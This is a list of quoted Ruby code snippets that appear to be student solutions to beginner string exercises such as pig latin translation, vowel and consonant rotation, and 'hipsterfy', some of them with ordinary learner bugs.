"def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend",
"def next_vowel_consonant(str) \r\n #create an array with only vowels or consonants\r\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\",\"a\"]\r\n\tconsonants = (\"a\"..\"z\").to_a\r\n consonants.reject! { |letter| vowels.include?(letter)}\r\n consonants << \"b\" #for looping back to b when z is the letter\r\n\t\r\n\t#convert input into an array of each letter\r\n\tname_array = str.split(\"\")\r\n\t\r\n\t#iterate through each letter\r\n\tname_array.each_with_index do |letter,index|\r\n\t \r\n\t #if it is a vowel, find and replace with next\r\n\t if vowels.include?(letter)\r\n\t vowel_index = vowels.index(letter) + 1\r\n\t str[index] = vowels[vowel_index]\r\n\t \r\n \t #if it is a consonant, find and replace with next\r\n\t elsif consonants.include?(letter)\r\n\t \tc_index = consonants.index(letter) + 1\r\n\t str[index] = consonants[c_index]\r\n\t end\r\n\tend\r\n\tstr\r\nend",
"def reverberate(sent) \n vowels = 'aeiou'\n words = sent.split\n new_words = []\n\n\n words.each do |word|\n if word.length < 3 \n new_words << word \n elsif vowels.include?(word[-1].downcase)\n new_words << word + word.downcase\n else\n i = word.length - 1\n while i >= 0 \n if vowels.include?(word[i]) \n new_words << word + word[i .. -1]\n break\n end \n\n i -= 1\n end \n end \n end \n\n new_words.join(' ')\n\nend",
"def vowel_consonant_adv(str)\r\n \t\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n \t\tstr = str.split('')\r\n \t\tstr_new = str.map do |letter|\r\n if vowels.include?(letter)\r\n \tvowels.rotate(1)[vowels.index(letter)]\r\n else\r\n \tletter.next\r\n end\r\n \tend\r\n \t\tstr_new.join\r\n\tend",
"def consonants_adv(str)\r\n str = vowel_adv(str)\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n str = str.downcase\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend",
"def hipsterfy(word)\n vowels = \"aeiou\"\n\n # reverse the word first and iterate through word with index\n word.reverse.each_char.with_index do |char, idx|\n if vowels.include?(char)\n # when word is returned, original word is returned\n # so reverse the word and concate the string without the index that has the last vowel\n # return the reversed concate string\n return (word.reverse[0...idx] + word.reverse[idx + 1..-1]).reverse\n end\n end\n \n word\nend",
"def del_before_vowel(word)\n vowels = 'aeiou'\n word.each_char.with_index do |char, i|\n if vowels.include?(char)\n return word.slice(i, word.length)\n end\n end\nend",
"def slice_between_vowels(word)\r\n\r\n # array of vowels created\r\n vowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\r\n\r\n # indices created to iterate from left and right\r\n left_i, right_i = 0, -1\r\n\r\n # checks for first vowel on left\r\n until vowels.include?(word[left_i].downcase)\r\n left_i += 1\r\n end\r\n\r\n # checks for first vowel on right\r\n until vowels.include?(word[right_i].downcase)\r\n right_i -= 1\r\n end\r\n\r\n # forms new word between first and last vowels\r\n word[left_i +1...right_i]\r\nend",
"def reverberate(sentence)\n vowels = \"aeiou\"\n words = sentence.split(\" \")\n converted_sentence = []\n\n words.each do |word|\n if word.length < 3\n converted_sentence << word\n elsif vowels.include?(word[-1].downcase)\n converted_sentence << word + word[0].downcase + word[1..-1]\n else\n uppercase = word[0] == word[0].upcase ? true : false\n count = word.length - 1\n\n while count > 0\n if vowels.include?(word[count])\n new_word = word + word[count..-1]\n converted_sentence << new_word\n break\n end\n count -= 1\n end\n end\n end\n\n converted_sentence.join(\" \")\nend",
"def hipsterfy(word)\n vowels = \"aeiouAEIOU\"\n\n i = word.length - 1\n while i >= 0\n char = word[i]\n\n if vowels.include?(char)\n return word = word[0...i] + word[i + 1..-1]\n end \n i -= 1\n\n end \n\n word \nend",
"def reverberate(str)\n reverberated = []\n vowels = \"aeiou\"\n\n str = str.split(\" \")\n str.each_with_index do |word, idx|\n if word.length < 3\n reverberated << word\n elsif vowels.include?(word[-1])\n reverberated << word + word.downcase\n else \n i = word.length - 1\n suffix = \"\"\n while i >= 0 \n if !vowels.include?(word[i])\n suffix += word[i]\n else\n suffix += word[i]\n suffix = suffix.reverse\n reverberated << (word + suffix)\n break\n end\n i -= 1\n end\n end\n end\n reverberated.join(\" \")\nend",
"def initial_consonants\n \n @@sentence.map { |word|\n if word.start_with?('a','e','i','o','u','A','E','I','O','U') \n \"\" \n else \n consonant_blend = word.split /([aeiou].*)/\n consonant_blend[0]\n\n end\n }\n end",
"def translate(word)\r\n vowels = \"aeio\".split('').to_a\r\n consonant = \"bcdfghjklmnpqrstuvwxyz\".split('').to_a \r\n answer = []\r\n \r\n while word.split(' ').length == 1 \r\n words = word.split('')\r\n until vowels.include?(words[0])\r\n words = words.rotate(1)\r\n end\r\n words << \"ay\"\r\n return words.join('')\r\n end # one word ^^\r\n \r\n if word.split(' ').length > 1 \r\n words = word.split(' ')\r\n end \r\n words.each do |i|\r\n if vowels.include?(i[0])\r\n i << \"ay\"\r\n answer << i\r\n #return answer\r\n end\r\n end\r\n \r\n words.each do |j|\r\n if consonant.include?(j[0])\r\n j = j.split('').rotate(1).join('') until vowels.include?(j[0])\r\n j = j + \"ay\"\r\n #return j\r\n #j << j #correct format for 1 consonant but it doesnt add to array\r\n answer << j\r\n end\r\n end\r\n \r\n return answer.join(' ')\r\n end",
"def consonant_cancel(sentence)\n result = []\n arr = sentence.split(\" \")\n\n arr.each do |i|\n cancelled = []\n i.each_char.with_index do |ch, idx|\n if ch == 'a' || ch == \"e\" || ch == \"i\" || ch == \"o\" || ch == \"u\"\n cancelled << i[idx..-1]\n break\n end\n end\n result << cancelled.join\n end\n\n return result.join(\" \")\n\nend",
"def pig_latin_chop(word)\n\t#split single word into characters\n\n\twordArray = word.split(\"\") \n\tvowels = ['a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U']\n\tuntil vowels.include?(wordArray[0])==true\n\t\tconsonant = wordArray.shift().downcase\n\t\twordArray = wordArray.push(consonant)\n\tend\n\tnewWord = wordArray.join()+ \"ay\"\nend",
"def silly_talk(sent)\n vowels = 'aeiou'\n words = sent.split\n new_words = []\n\n words.each do |word|\n if vowels.include?(word[-1])\n new_words << word + word[-1] \n else \n new_words << word.split('').map { |c| vowels.include?(c) ? (c + 'b' + c) : c }.join\n end \n end \n\n new_words.join(' ')\n\nend",
"def consonant_cancel(sentence)\n words = sentence.split(' ')\n new_words = words.map { |word| del_before_vowel(word) }\n return new_words.join(' ')\nend",
"def consonant_advance(letter)\r\nconsonant = \"abcdefghijklmnopqrstuvwxyz\".delete(\"aeiou\")\r\n if letter == \"z\"\r\n letter = \"b\"\r\n else\r\n letter = consonant[consonant.index(letter) +1]\r\n end \r\nend",
"def slice_between_vowels(word)\r\n word_array = word.split('')\r\n first_vowel_position = 0\r\n last_vowel_position = 0\r\n vowel_number = 0\r\n for i in (0...word_array.length)\r\n if ['a', 'e', 'i', 'o', 'u'].include?(word_array[i])\r\n vowel_number +=1\r\n first_vowel_position = i if vowel_number == 1\r\n last_vowel_position = i\r\n end\r\n end\r\n if first_vowel_position == last_vowel_position\r\n result = \"\"\r\n else\r\n result = word_array.slice(first_vowel_position+1, last_vowel_position - first_vowel_position - 1).join('')\r\n end\r\n return result\r\nend",
"def alternating_vowel(sentence)\n vowels = \"aeiou\"\n words = sentence.split(\" \")\n new_sentence = []\n\n words.each_with_index do |word, idx_word|\n new_word = \"\"\n modified = false\n\n if idx_word.even?\n word.each_char.with_index do |char, idx_char|\n if modified || !vowels.include?(char)\n new_word += char\n else\n modified = true\n end\n end\n else\n count = word.length - 1\n\n while count >= 0\n if modified || !vowels.include?(word[count])\n new_word = word[count] + new_word\n else\n modified = true\n end\n\n count -= 1\n end\n\n end\n\n new_sentence << new_word\n end\n\n new_sentence.join(\" \")\nend",
"def silly_talk(sentence)\n vowels = 'aeiou'\n new_sentence = []\n\n sentence.split(' ').each do |word|\n new_word = ''\n if vowels.include?(word[-1])\n new_word = word + word[-1]\n else\n word.each_char do |char|\n if vowels.include?(char.downcase)\n new_word << char + 'b' + char.downcase\n else\n new_word << char\n end\n end\n end\n new_sentence << new_word\n end\n\n new_sentence.join(' ')\nend",
"def translate(string)\n newArr = []\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # * Split it into words\n words = string.split()\n\n # * For every word in the sentence...\n words.each do |word|\n # * If the word has 'qu'\n if word[1..2].downcase == \"qu\"\n newArr << word[3..-1] + word[0..2] + \"ay\"\n\n elsif word[0..1].downcase == \"qu\"\n newArr << word[2..-1] + word[0..1] + \"ay\"\n\n # * If it starts with a vowel\n elsif vowels.include?(word[0].downcase)\n newArr << word + \"ay\"\n\n # * If the first three consonants aren't vowels\n elsif not vowels.include?(word[0].downcase) and not vowels.include?(word[1]) and not vowels.include?(word[2])\n newArr << word[3..-1] + word[0..2] + \"ay\" \n # * ...or if the first two consonants aren't vowels\n elsif not vowels.include?(word[0].downcase) and not vowels.include?(word[1])\n newArr << word[2..-1] + word[0..1] + \"ay\" \n \n # * After all that, if it starts with one consonant\n else\n newArr << word[1..-1] + word[0] + \"ay\"\n end\n end\n\n newArr.join(\" \")\nend",
"def next_consonant(string)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\t#set index of string \n\tindex = 0\n\t#set index of vowels\n\ti = 0\n\t#create an empty string\n\tconverted_string = \"\"\n\t#for each index of the string, checks if equal to corresponding consonant and if so goes to the next consonant by adding one to the index\n\twhile index < string.length\n\t\t#start with if string has \"z\", converts to \"b\"\n\t\tif string[index] == consonants[20]\n\t\t\tconverted_string += \"b\"\n\t\t#if the string has any consonant besides \"z\"\n\t\telsif string[index] == consonants[i]\n\t\t\tconverted_string += consonants[i+1]\n\t\t#if string has vowels doesnt change character\n\t\telse \n\t\t\tconverted_string += string[index]\n\t\tend\n\t\t#go to next index in string\n\t\tindex += 1\n\t\t#reset vowel index to zero\n\t\ti += 1\n\tend\n\tconverted_string\nend",
"def get_next_consonant(consonant,vowels)\n next_consonant = consonant\n loop do\n next_consonant = next_consonant.next\n break if !vowels.include?(next_consonant[-1])\n end\n next_consonant[-1]\nend",
"def hipster(sentence)\n vowels = ['a', 'e', 'i', 'o', 'u']\n sentence.split.map do |word|\n idx = word.length - 1\n while idx >= 0 \n if vowels.include?(word[idx])\n word = word[0...idx] + word[idx + 1..-1]\n break\n end\n idx -= 1\n end\n word\n end.join(\" \")\nend",
"def consonant_cancel(sentence)\n \tnewSentence = \"\"\n\tsentence.split.each do |word|\n \t# puts word\n \tnewSentence = newSentence + \" \" + find_vowel(word)\n end\n \treturn newSentence\nend",
"def hipsterfy(word)\n chars = word.split(\"\")\n\n i = chars.length - 1\n while i >= 0\n if $vowels.include?(chars[i])\n chars.delete_at(i)\n break\n end\n i -= 1\n end\n\n chars.join(\"\")\nend",
"def double_consonants(str)\nnew_str = \"\"\n\nstr.each_char do |char|\n\tif /[aeiou\\W\\d\\s]/ =~ char \n\t\tnew_str << char\n\telse\n\t\tnew_str << char << char\n\tend\nend\nnew_str\nend",
"def pig_latin_name(word)\n# and returns a new string (pig latinified)\n# need to define vowels (can be an array?)\n vowels_list = vowels\n# break word into letters\n letters = word.split(\"\")\n# iterate through each letter of the word\n# until we hit a vowel\n letters.each do |letter|\n\n # check if first letter is vowel or consonant\n if is_consonant?(letter)\n # move it to the end\n removed_consonant = letters.shift\n letters = letters + removed_consonant.split\n #\n else\n letters.push(\"ay\")\n return letters.join\n end\n\n # then add \"ay\" at the end and return\n end\n\nend",
"def next_vowcon(oldlet) #actually takes in the whole name (not just 1 letter), since it is only split to an array of [first_name, last_name]\r\n vowel = ['a','e','i','o','u']\r\n rot_vow = vowel.rotate #reverses vowel array\r\n consonant = 'bcdfghjklmnpqrstvwxzy'.split('')\r\n rot_cons= consonant.rotate #reverses consonant array\r\n i=0\r\n while i < oldlet.length\r\n if vow_index = vowel.index(oldlet[i])\r\n oldlet[i] = rot_vow[vow_index]\r\n else\r\n cons_index = consonant.index(oldlet[i])\r\n oldlet[i] = rot_cons[cons_index]\r\n end\r\n i +=1\r\n end\r\n return oldlet\r\nend",
"def advance_letter letter\n vowel='aeiou'\n consonant='bcdfghjklmnpqrsvwxyz'\n if vowel.include?(letter)\n if letter==vowel[-1]\n letter=vowel[0]\n else\n letter=vowel[vowel.index(letter)+1]\n end\n elsif consonant.include?(letter)\n if letter==consonant[-1]\n letter=consonant[0]\n else\n letter=consonant[consonant.index(letter)+1]\n end\n end\n letter\nend",
"def double_consonants(str)\n str.split(//).map { |chr| chr.match?(/[^aeiou\\d\\W]/i) ? chr + chr : chr }.join\nend",
"def double_consonants(string)\n new_string = ''\n string.each_char do |char|\n if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n new_string << char << char\n else\n new_string << char\n end\n end\n new_string\nend",
"def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend",
"def hipsterfy(sentence)\n # collection of vowels\n vowels = %w[\n a e i o u\n ]\n new_sentence = Array.new\n\n # digest per word\n sentence.split(' ').each do |word|\n\n last_vowel_position = 0\n # digest per character and saving the position of the vowel\n word.split('').each_with_index do |letter, idx|\n if vowels.include?(letter)\n last_vowel_position = idx\n end\n end\n\n # push the newly sliced word but with extra attention if it specifies the\n # 0th index\n if last_vowel_position != 0\n new_sentence.push(word.slice(0, last_vowel_position) + word.slice(last_vowel_position + 1, word.length))\n else\n # if the 0th index is a vowel, slice it out, otherwise leave it\n if vowels.include?(word[0])\n new_sentence.push(word.slice(0, last_vowel_position) + word.slice(last_vowel_position + 1, word.length))\n else\n new_sentence.push(word)\n end\n end\n end\n new_sentence.join(' ')\nend",
"def alternating_vowel(sent)\n vowels = 'aeiou'\n words = sent.split\n new_words = []\n words.each_with_index do |word, idx|\n if word.split('').none? { |c| vowels.include?(c) }\n new_words << word\n next\n elsif idx.even?\n word.each_char.with_index do |c, i|\n if vowels.include?(c)\n new_words << word[0...i] + word[i + 1..-1]\n break\n end\n end\n else\n word.reverse.each_char.with_index do |c, i|\n if vowels.include?(c)\n new_words << (word.reverse[0...i] + word.reverse[i + 1..-1]).reverse\n break\n end\n end\n end\n\n\n end\n\n new_words.join(' ')\nend",
"def translate word\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(word[0])\n word + 'ay'\n elsif consonants.include?(word[0]) && consonants.include?(word[1])\n word[2..-1] + word[0..1] + 'ay'\n elsif consonants.include?(word[0])\n word[1..-1] + word[0] + 'ay'\n else\n word # return unchanged\n end\nend",
"def devowel(sent)\n sent_arr = sent.split(' ')\n output_arr = []\n vowels = 'aeiou'\n\n sent_arr.each do |word|\n word.each_char do |char|\n if vowels.include?(char.downcase)\n word.delete!(char)\n end\n end\n output_arr << word\n end\n\n output_arr.join(' ')\nend",
"def double_consonants(str)\n str.gsub(/([a-z&&[^aeiou]])/i,'\\1\\1')\nend",
"def next_vowel(str)\n\t# Need to identify the vowels in the English alphabet in a new variable\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n\t# Need to also identify the consonants in the English alphabet in a new variable\n\tconsonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\n\t\t\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n\twords = str.split # Splitting the name into words based on space (' ')\n\t\n\t## Loop into each name\n\ti = 0 # Setting an index to zero\n\tnew_word = [] # Setting up an empty array for our new scrambled word\n\tmod_word = [] # Setting up an empty array to hold the capitalized scrambled word\n\n\twhile i < words.length # Looping into each word\n\t\tchars = words[i].split('') # Split each word into characters\n\t\tnew_chars = chars.map{|char| # Mapping into each character\n\t\t\tif vowels.include?(char) # If the character is included in the vowels variable\n\t\t\t\tvowels.rotate(1)[vowels.index(char)] # Reassign it to the next vowel\n\t\t\telsif consonants.include?(char) # If the character is included in the consonants variable\n\t\t\t\tconsonants.rotate(1)[consonants.index(char)] # Reassign it to the next consonet\n\t\t\telse\n\t\t\t\tchar # Otherwise don't do anything (In case there are odd characters)\n\t\t\tend\n\t\t}\n\t\tnew_word.push(new_chars.join) # rejoin the word\n\t\t# This bit of code capitalizes the first character of the name\n\t\tmod_word.push(new_word[i].slice(0,1).capitalize + new_word[i].slice(1..-1))\n\t\ti += 1 # increment counter\n\tend\n\treturn mod_word.join(' ') # return the rejoined words\nend",
"def consonant_cancel(sentence)\n words = sentence.split\n new_words = words.map { |word| remove_starting_consonants(word) }\n return new_words.join(\" \")\nend",
"def abbreviate_sentence(sent)\n # Write your code here\n empty_array = []\n sent.chars.each do |element|\n if element.length > 4\n element.each do |letters|\n letters.gsub(/[aeiou]/i, \" \" )\n letters << empty_array\n end\n end\n end\n p empty_array.join(\"\")\nend",
"def hipsterfy(sentence) \n sentence = sentence.split(\" \")\n arr = []\n sentence.each do |word|\n result = word.gsub(/[aeiou](?!.*[aeiou])/, '') # Negative Lookahead Regex\n arr << result\n end\n arr.join(\" \")\nend",
"def next_vowel(last_first)\n last_first.map! do |word|\n word.gsub(/[aeiou]/, 'a' => 'e', 'e' => 'i', 'i' => 'o', 'o' => 'u', 'u' => 'a')\n end\nend",
"def next_consonant (last_first)\n last_first.map! do |word|\n word.gsub(/[zdhntbcfgjklmpqrsvwxy]/, 'z' => 'b', 'd' => 'f', 'h' => 'j', 'n' => 'p', 't' => 'v', 'b' => 'c', 'c' => 'd', 'f' => 'g', 'g' => 'h', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z')\n end\nend",
"def alternating_vowel(sentence)\n new_sentence = []\n sentence_arr = sentence.split(' ')\n \n sentence_arr.each.with_index do |word, idx|\n new_word = ''\n\n if idx % 2 == 0\n first_vowel_idx = first_vowel(word)\n new_word << word[0...first_vowel_idx] + word[first_vowel_idx+1..-1]\n else\n last_vowel_idx = last_vowel(word)\n new_word << word[0...last_vowel_idx] + word[last_vowel_idx+1..-1]\n end\n new_sentence << new_word\n end\n new_sentence.join(' ')\nend",
"def abbreviate_sentence(sentence)\n vowels =\"aeiou\"\n new_word = \"\"\n \n sentence.split(\" \").each do |word| \n word.each_char do |char| \n if vowels.include?(char) && word.length > 4\n char = \"\"\n end\n new_word += char \n end\n new_word += \" \"\n end\n\n new_word\nend",
"def double_consonants(string)\n result_string = ''\n string.each_char do |char|\n if char =~ /[a-z&&[^aeiou]]/i\n result_string << char << char\n else\n result_string << char\n end\n end\n result_string\nend",
"def pig_latin_name(word)\n \n letters = word.split(\"\")\n \n final_array = letters.clone\n letters.each do |letter| #[p, l, u, m]\n \n \n if is_consonants?(letter)\n final_array.rotate! \n # #puts \".........#{removed_consonant}\"\n # #letters.push(removed_consonant)\n # puts \".........#{final_array}..#{letters}\"\n else \n # puts \"*****#{final_array}.... #{letters}\"\n final_array.push(\"ay\")\n return final_array.join\n end\n end\nend",
"def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend",
"def double_consonants(string)\n result = ''\n string.chars.each do |char|\n result += char\n result += char if char =~ /[a-z]/i && char =~ /[^aeiou]/i\n end\n result\nend",
"def next_letter (name)\n vowels = \"aeiou\".split('')\nalphabet = ('a'..'z').to_a\nconsonants = alphabet - vowels\nname_array = name.split('')\nname_array.map! { |letter|\n if letter == \"u\"\n \"a\"\n elsif letter == \"z\"\n \"b\"\n elsif consonants.include? letter\n consonants[consonants.index(letter) + 1]\n elsif vowels.include? letter\n vowels[vowels.index(letter) + 1]\n else\n letter\n end\n}\nname_array.join('')\nend",
"def vowel_adv(str)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n str = str.split('')\n str_new = str.map do |char|\n if vowels.include?(char)\n vowels.rotate(1)[vowels.index(char)]\n else\n char\n end\n end\n str_new.join\nend",
"def vowel_adv(str)\r\n str = secret_name(str)\r\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if vowels.include?(char)\r\n vowels.rotate(1)[vowels.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend",
"def remove_vowels(str)\n vowels = %w(a e i o u)\n no_vowels_arr = []\n\n str.each do |word|\n new_str = ''\n word.chars.each do |letter|\n if vowels.include?(letter.downcase)\n next\n else\n new_str << letter\n end\n end\n no_vowels_arr << new_str \n end\n no_vowels_arr\nend",
"def vowel_cipher(string)\n vowels = \"aeiou\"\n new_chars = string.split(\"\").map do |char|\n if vowels.include?(char)\n old_idx = vowels.index(char)\n new_idx = (old_idx + 1) % vowels.length # 5\n vowels[new_idx] # 2nd example! u -> a ! \n else \n char \n end \n end \n return new_chars.join(\"\")\nend",
"def next_consonant(name)\n name = name.downcase\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n i = 0\n consonants_changed = \"\"\n\n until i == name.length\n consonants_index = consonants.index(name[i])\n if consonants_index == nil\n consonants_changed += name[i]\n elsif consonants_index == 20\n consonants_changed += \"b\"\n else\n consonants_changed += consonants[consonants_index+1]\n end\n i = i + 1\n end\n return consonants_changed\n end",
"def kacokadekame(word)\n 'ka' + word.gsub(/([aeiouy])(?=[^aeiouy])/i, '\\1ka')\nend",
"def translate( word )\n #Practicing regular expressions. Main idea: If I can find the first vowel then take the index\n #where that vowel is and split the word. If word has no vowels or first letter is a vowel,\n #just put word in new_word variable.\n\n phrase = \"\"\n\n word.split.each do | word |\n\n #If first letter is a vowel or no vowels in the word, just give the word\n if ( /[aeiou]/ =~ word ) == 0 || ( /[aeiou]/ =~ word ) == nil\n new_word = word\n\n #If my word starts with a qu then we'll split the word with the qu together\n elsif word[ 0..1 ] == \"qu\"\n new_word = word[ 2..word.length ] + word[ 0..1 ]\n\n #Keeping below if I wanna find a word that has a vowel \n #if word.split.any? { |letter| /[aeiou]/ =~ letter }\n\n #If my word starts with an squ then we'll split this word with the squ together\n elsif word[ 0..2 ] == \"squ\"\n new_word = word[ 3..word.length ] + word[ 0..2 ]\n\n else\n new_word = word[ ( /[aeiou]/ =~ word )..word.length ] + word[ 0..( ( /[aeiou]/ =~ word ) - 1 ) ]\n end\n\n #Add ay if vowel is at the front of the new word\n new_word += \"ay\" if new_word.split.any? { | letter | /[aeiou]/ =~ letter }\n\n #Adding the words together to form the output with space\n phrase += \"#{ new_word } \"\n\n end\n\n puts phrase\n phrase.strip\n\nend",
"def translate(str)\n\n\n\n # Vowels to consider\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # Special cases to consider\n two_letter_consonants = [\"ch\", \"sh\", \"qu\", \"th\", \"br\"]\n three_letter_consonants = [\"thr\", \"sch\", \"squ\"]\n\n words = str.split(\" \")\n result = []\n\n words.each do |word|\n if vowels.include?(word[0])\n result.push word << \"ay\"\n else \n if three_letter_consonants.include? (word[0] + word[1] + word[2])\n first_three_letters = word.slice!(0,3)\n \n # Add letters to end of word with 'ay'\n result.push word << first_three_letters << 'ay'\n elsif two_letter_consonants.include?(word[0] + word[1])\n first_two_letters = word.slice!(0,2)\n result.push word << first_two_letters << \"ay\"\n else \n first_letter = word.slice!(0)\n \n # Add first letter to end of word with 'ay'\n result.push word << first_letter << 'ay'\n end #End of special consonant check\n end \n end \n return result.join(\" \")\nend",
"def translate_word(word)\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\tword = word.split(' ')\n\tif (vowels.include?(word[0]))\n\t\tword.join + \"ay\"\n\telse \n\t\tuntil (!vowels.include?(word[0]))\n\t\t\tword.rotate!\n\t\t\ti += 1\n\t\t\t# word.rotate!\n\t\tend \n\t\treturn word.join + \"ay\"\n\tend \nend",
"def vowel_rotate(str)\n rotated_word = \"\"\n vowels = \"aeiou\"\n \n last_vowel = \"\"\n i = str.length - 1\n while i >= 0\n if vowels.include?(str[i])\n last_vowel = str[i] \n break\n end\n i -= 1\n end\n \n str.each_char do |char|\n if vowels.include?(char)\n rotated_word += last_vowel\n last_vowel = char\n else\n rotated_word += char\n end\n end\n\n rotated_word\nend",
"def vowel_changer(name)\n vowel_guide = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n name.each do |names|\n name = names.split('')\n name\n name.map! do |char|\n index = 0\n while index < vowel_guide.length\n if char == vowel_guide[index]\n char = vowel_guide[index += 1]\n index += 1\n elsif char == \"u\"\n char = \"a\"\n index += 1\n else\n char\n index += 1\n end\n\n end\n char\n end\n name\n end\n name\nend",
"def pig_latin_word(word)\n vowels = \"aeiou\"\n\n if vowels.include?(word[0])\n return word + \"yay\"\n end\n\n word.each_char.with_index do |char, i|\n if vowels.include?(char)\n return word[i..-1] + word[0...i] + \"ay\"\n end\n end\nend",
"def double_consonants(str)\n\n new_string = []\n\n str.chars.each do |char|\n if ('aeiouAEIOU').include?(char) == false\n new_string << char*2 \n else \n new_string << char\n end\n end\n\n new_string.join\nend",
"def vowel_cipher(string)\n vowels = \"aeiou\"\n new_chars = string.split(\"\").map do |char|\n if vowels.include?(char)\n old_idx = vowels.index(char)\n new_idx = (old_idx + 1) % vowels.length # 5\n vowels[new_idx] # 2nd example! u -> a ! \n else \n char \n end \n end \n print new_chars\nend",
"def make_up_name(name)\nchanged_name = [] #empty array to push letters from name into when it goes through iteration\nvowels = \"aeiou\"\n\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\n\n\n#if the index of the name provided is a consonant then change it to the next letter.\n\nindex = 0 #start at 0\n \n while index < name.length\n \t\tletter = name[index] #takes every index of every letter in name and stores it in a variable\n \t\tif vowels.include?(letter) #deals with edge case\n \t\t\tif letter == \"u\"\n \t\t\t\tchanged_name.push(\"a\")\n \t\t\telse #need to make it so every other vowel changes to next vowel letter.next\n \t\t\tend\n \t\telsif consonant.inlcude?(letter)\n \t\t\tif letter == \"z\" #deals with edge case\n \t\t\t\tchanged_name.push(\"b\")\n \t\t\telse #everything else will need to be next letter using letter.next \t\t \t\t\n \t\t\tend\n \t\telsif letter == \" \"\n \t\t\t\tchanged_name.push(\" \")\n \t\t\tend\n \t\t \t index += 1\n \tend\nnew_name_array = changed_name.join('') #takes all the letters in the array above and puts it in a new array\nnew_name_array.each {|name| p name.capitalize}\nend",
"def double_consonants(string)\n doubled_chars = string.chars.map do |char|\n if char =~ /[A-Za-z]/ && !VOWELS.include?(char)\n char + char\n else\n char\n end\n end\n doubled_chars.join\nend",
"def double_consonants(string)\n doubled_string = ''\n string.each_char do |char|\n char.match(/[a-z&&[^aeiou]]/i) ? doubled_string << char << char : doubled_string << char\n end\n doubled_string\nend",
"def silly_talk(sent)\n vowels = \"aeiou\"\n return_array = []\n sent.split(\" \").each do |word|\n if vowels.include?(word[-1])\n return_array << word + word[-1] \n else\n word.each_char.with_index do |char, idx|\n vowels.include?(char) ? (return_array) : () \n end\n end\n word.each_char \n end\nend",
"def double_consonants(string)\n string.chars.inject('') do |str, char|\n char.downcase.count(\"a-z\", \"^aeiou\") > 0 ? str + char * 2 : str + char\n end\nend",
"def silly_talk(str)\n vows = \"aeiou\"\n\n new_talk = str.split(\" \").map do |wrd|\n if vows.include?(wrd[-1].downcase)\n wrd + wrd[-1]\n else\n silly = wrd.split(\"\").map do |char|\n if vows.include?(char)\n char + \"b\" + char\n else\n char\n end\n end\n silly.join(\"\")\n end\n end\n\n new_talk.join(\" \")\nend",
"def consonants(consonants_letter)\r\n consonants = \"bcdefghjklmnpqrstvwxyz\"\r\n current_location = consonants.index(consonants_letter)\r\n new_consonants = current_location + 1\r\n if consonants.index(consonants_letter) == 21\r\n results = \"b\"\r\n else\r\n results = consonants[new_consonants]\r\n end\r\n results\r\nend",
"def hip_word(word)\n vowels = ['a', 'e', 'i', 'o', 'u']\n idx = word.length - 1\n while idx > 0\n if vowels.include?(word[idx])\n return word[0...idx] + word[idx+1...word.length]\n end\n idx -= 1\n end\n word\nend",
"def disemvowl(string)\n vowels = 'aeiou'\n string.each_char { |char|\n string.delete!(char) if vowels.include?(char.titleize)\n }\nend",
